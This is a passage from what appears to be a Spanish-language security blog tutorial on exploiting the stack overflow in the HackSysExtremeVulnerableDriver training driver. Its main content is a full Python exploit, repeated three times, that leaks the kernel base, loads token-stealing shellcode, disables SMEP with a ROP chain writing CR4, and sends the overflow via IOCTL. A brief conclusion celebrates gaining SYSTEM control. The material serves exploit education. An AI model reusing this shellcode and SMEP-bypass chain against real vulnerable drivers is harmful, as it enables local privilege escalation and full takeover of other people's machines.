"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
    b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
    b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
    b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
    b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
    b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
    b'\xc4\x10\x5d\xc2\x08\x00'
)

print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

print('Creating ROP chain...')
ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')

sys.exit(0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
    b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
    b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
    b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
    b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
    b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
    b'\xc4\x10\x5d\xc2\x08\x00'
)

print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

print('Creating ROP chain...')
ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')

sys.exit(0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
    b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
    b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
    b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
    b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
    b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
    b'\xc4\x10\x5d\xc2\x08\x00'
)

print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

print('Creating ROP chain...')
ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')

sys.exit(0)

Y fíjate en esto:

Success to steal SYSTEM

¡Glorioso! Hemos logrado robar el token del proceso SYSTEM y copiarlo a nuestra shell cmd.exe. ¡Ahora tenemos el control total del sistema!

Conclusiones

Resultó interesante robar el token del proceso SYSTEM y transferirlo a nuestro propio proceso padre. Existen muchas otras formas de lograr una escalada de privilegios local, pero este método es uno de los más utilizados, ya que resulta extremadamente fiable, siempre y cuando se logre restaurar la ejecución del kernel.

Empieza ya con el PTaaS de Fluid Attacks

Etiquetas:

formacion

exploit

vulnerabilidad

windows

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Reduce el riesgo sin retrasar tus entregas

Reduce el riesgo sin retrasar tus entregas

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.